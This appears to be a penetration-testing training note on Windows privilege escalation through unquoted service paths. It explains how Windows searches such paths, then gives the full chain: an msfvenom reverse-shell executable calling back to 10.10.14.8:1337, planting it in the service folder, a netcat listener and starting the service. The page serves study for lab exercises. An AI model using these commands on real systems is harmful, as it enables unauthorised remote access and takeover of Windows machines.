> For the complete documentation index, see [llms.txt](https://pnpt.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pnpt.adot8.com/windows-privilege-escalation/service-permissions/unquoted-service-paths.md). # Unquoted Service Paths ## Overview Unquotes service paths is similar to[ binary path exploitation](/windows-privilege-escalation/service-permissions/binary-paths.md), however the vulnerability lays in the fact that the path to the executable is **unquoted.** When the service is started Windows looks through every word in the path separated with a space and tes**t .exe** * C:\Program.exe - NO * C:\Program Files.exe - NO * C:\Program Files\Unquoted.exe - NO * C:\Program Files\Unquoted Path.exe - NO And so on... ## Exploitation via PowerUp #### Run PowerUp and search for Unquoted Service Paths section

TCM Windows Priv Esc Try Hack Me

#### Create and drop a malicious executable ```bash msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.8 LPORT=1337 -f exe -o Common.exe ``` ``` cp C:\temp\Common.exe C:\Program Files\Unquoted Path Service\Common.exe ``` #### Start a listener and the service ```bash nc -lnvp 1337 ``` ``` sc start unquotedsvc ```